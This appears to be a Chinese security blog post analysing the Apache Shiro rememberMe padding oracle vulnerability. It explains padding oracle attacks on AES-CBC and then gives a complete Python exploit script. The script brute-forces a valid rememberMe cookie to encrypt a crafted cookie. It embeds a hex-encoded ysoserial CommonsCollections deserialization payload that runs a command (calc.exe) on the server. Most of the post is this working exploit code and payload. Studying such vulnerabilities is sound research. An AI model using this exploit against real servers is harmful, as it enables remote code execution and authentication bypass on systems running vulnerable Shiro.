昨天让写一个紧急插件,结果弄了一天才发现没法写插件(扫描器先天缺陷),想着心血不能白费了,就把它写下来水一篇创新(逃
shiro 10月23号发布 公告 ,说rememberMe字段还存在padding Oracle漏洞:
The cookie rememberMe is encrypted by AES-128-CBC mode, and this can be vulnerable to padding oracle attacks. Attackers can use a vaild rememberMe cookie as the prefix for the Padding Oracle Attack,then make a crafted rememberMe to perform the java deserilization attack like SHIRO-550. Steps to reproduce this issue: Login in the website and get the rememberMe from the cookie. Use the rememberMe cookie as the prefix for Padding Oracle Attack. Encrypt a ysoserial's serialization payload to make a crafted rememberMe via Padding Oracle Attack. Request the website with the new rememberMe cookie, to perform the deserialization attack. The attacker doesn't need to know the cipher key of the rememberMe encryption.
如上,rememberMe作为一个序列化流对象被AES-CBC加密后作为Cookie传给用户以维持会话,当能够登录且启用rememberMe时,错误填充将会返回不同的内容,于是可进行poracle攻击获取rememberMe的明文,伪造该序列化流对象可能导致认证绕过,进一步的若目标环境存在一些危险组件更可能导致远程命令执行。
它是一个有名的密码算法实现缺陷,本身分组密码会使用置换和代换实现雪崩效应,这导致用户无法控制密文的对应位置,但当出现如下情况时,将打破该安全性实现逐位爆破:
PKCS #5
或 PKCS #7
等填充方式:由于分组密码加解密的单位为一个分组,数据不够时需要填充(或密文窃取),有规律的填充不仅能方便的在解密时删除填充数据,而且能对解密做简单校验,以AES使用的 PKCS #7
为例,AES分组大小为128bits,所以它的填充长度为0x01~0x10,即当填充长度为1字节时,填充一字节的 '/x01'
,当分组不需要填充时,填充16字节的 '/x10'
,所以在解密时,若解密出的最后一字节是 '/x02'
,那么它前一字节必须也是 '/x02'
,否则就能说明解密出现错误。 如上,当把这三个条件合在一起,用户伪造一个数据包并从最后一个字节开始变换,当服务端收到收到伪造的密文尝试解密失败返回False,成功返回True,那么在256次尝试中一定会有至少一次返回成功,例如当变换的最后一字节与解密中间值的最后一字节异或得到 '/x01'
,此时尽管有其他巧合的可能但是概率太小,就假设为 '/x01'
并反向异或可以生成能使最后一字节为 '/x02'
的值,它作为伪造数据包的最后一字节并从倒数第二字节开始继续尝试,当返回True时就可以假设倒数第二字节与解密中间值的倒数第二字节异或得到 '/x02'
,同样的方法不停向前,直到一个分组大小后重新循环,就能在最坏 256*len(chipertext)
次尝试后解密出所有明文了,同样的我们可以通过控制密文来生成想要的明文,此时就可以实现 任意明文加密 了。
再看看shiro,在启用rememberMe后,它会将用户对象信息序列化后加密保存,并使用base64存放于Cookie中,即Cookie解码后能够得到 iv+cipher
这是我们能控制的部分,当用户使用shiro时,服务端会先解码并解密数据,之后再反序列化并验证身份,当解密失败或者验证失败时将会返回 deleteMe
,而且反序列化时调用 readObject
它只会根据类描述读取对应的数据,所以在正确的原数据后追加符合填充规则的数据将能通过验证,而追加不符合填充规则的数据将会解密失败返回错误,一个典型的padding-oracle漏洞。
shiro-root-1.4.1/core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java
下打断点,将能看到传入的数据与填充正确时解密结果: 再往上层可见它使用如下代码进行反序列化,根据白猪老哥的分析它无法反序列化数组类型对象:
查看pom发现存在commons-collections:3.2.1,可以使用白猪老哥发现新发现 commoncollections10 利用链,该payload不存在上面的问题,于是有如下poc:
# coding=utf-8 import base64 import logging import struct import requests logger = logging.getLogger(__file__) logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.DEBUG) BLOCK_SIZE = 16 URL = "http://localhost:8080/samples_web_war/" VALID_COOKIE = base64.b64decode( 'A2ihfPTY8/RoIO8AfRngfcUXF8yJeXKrSB0ke3odv1rFFeqKWYAZNgOuJmuynLExl2RJ2pIzMDWRIlx73HPMjbGwadc3qjm1IASSRDPdoarzrzU0hhgUPAdzaA2z5rtPgEWr9LHL/jJOhco4bwdcMbwJGE0PEs4HPxx+exDxK86I6zSSE9JGaGf10Gw7G15iGYZ0EJQkv+ZTa7qUJbZoxzQibex3R0DnMvFdLjcddfs23tIbD7CNApmu/qAXTtweTTLP+C+vp6THbk3M/bjj9HDuWbFKxrEqLA4qm3Oz38kPjt0VulLxi1vL2IYgn7IYt9oM3sAdrbnCNC9MR2HqQ8X0P9v8HvcUxzXwYlUCWKqL4/UkL7nIzVEgWeb+jpjdpJPPERXIhcrpIP6R+dRzmAmcgi6f9UJjNPrXCIgrb1LGx6AZ3mD8vjbkw1pPinRk2tpEA2wpWHpI+5pIKUZCzDHl8K6aAxCeswzsqHNu3g//l5eF8f3S3ztvQ/koK8g5') def brute(url, valid_cookie, append_data): headers = {'Cookie': 'rememberMe=' + base64.b64encode(valid_cookie + append_data)} try: resp = requests.get(url, headers=headers) except Exception as e: logger.exception(e) else: resp_headers = resp.headers set_cookie = resp_headers.get('Set-Cookie') if "rememberMe=deleteMe;" in set_cookie: return False else: return True return False def encrypt(plaintext, last_block=None): """ :param plaintext: 明文数据,为bytearray类型 :param last_block: :return: """ if not isinstance(plaintext, bytearray): plaintext = bytearray(plaintext) # assert isinstance(last_block, bytearray) # 预处理明文数据,对其进行填充 block_count = (len(plaintext) // BLOCK_SIZE) + 1 padding_bytes = BLOCK_SIZE - len(plaintext) % BLOCK_SIZE padding_plaintext = plaintext + (padding_bytes * chr(padding_bytes)) logger.info("start") # 对明文进行分组 plaintext_blocks = [] for i in range(block_count): plaintext_blocks.append(padding_plaintext[i * BLOCK_SIZE:(i + 1) * BLOCK_SIZE]) # 处理初始的last_block if last_block is None: last_block = bytearray('a' * BLOCK_SIZE) # 逆向数据加密 result = [last_block] for block in reversed(plaintext_blocks): last_block = _get_block_encrypt(block, last_block) result.append(last_block) # 返回 iv + 被加密的数据 return str(bytearray('').join(reversed(result))) def _get_block_encrypt(block, next_block): """对一个块进行加密操作 :param block: 需要被加密的块 :param next_block: 下一个明文块 :return: block的密文 """ result = bytearray('/x00' * BLOCK_SIZE) # 从后向前逐位爆破 for index in range(BLOCK_SIZE - 1, 0 - 1, -1): result[index] = _find_character_encrypt(index, result, next_block) # 加密数据 for i in range(0, BLOCK_SIZE): result[i] ^= block[i] return result def do_decrypt(block): """对输入的block,填充正确返回True,填充错误返回False """ append_data = str(block) if brute(URL, VALID_COOKIE, append_data): logger.info('Found: {}'.format(append_data.encode('hex'))) return True else: return False def _find_character_encrypt(index, result, next_block): """ :param index: 当前爆破的索引 :param result: 当前已爆破出来的结果 :param next_block: 下一个分组的密文 :return: 当前索引爆破出的结果 """ padding_chr = chr(BLOCK_SIZE - index) # 初始化block,将已经爆破的结果置为0 block = bytearray("/x00" * BLOCK_SIZE) for i in range(index, BLOCK_SIZE): block[i] = ord(padding_chr) ^ result[i] # for c in range(0, 256): block[index] = ord(padding_chr) ^ next_block[index] ^ c if do_decrypt(block + next_block): return block[index] ^ ord(padding_chr) def main(): payload = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e002000078700000069ecafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01000863616c632e65786508003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723139393730393535323732313430300100204c79736f73657269616c2f50776e65723139393730393535323732313430303b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000e000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e7270770100787372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00095b000b69506172616d547970657371007e00087870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000e6e65775472616e73666f726d6572757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'.decode('hex') result = encrypt(payload) logger.info("result: {}".format(base64.b64encode(result))) if __name__ == '__main__': main()
忘了关调试,跑了1个多小时终于出结果了,再见: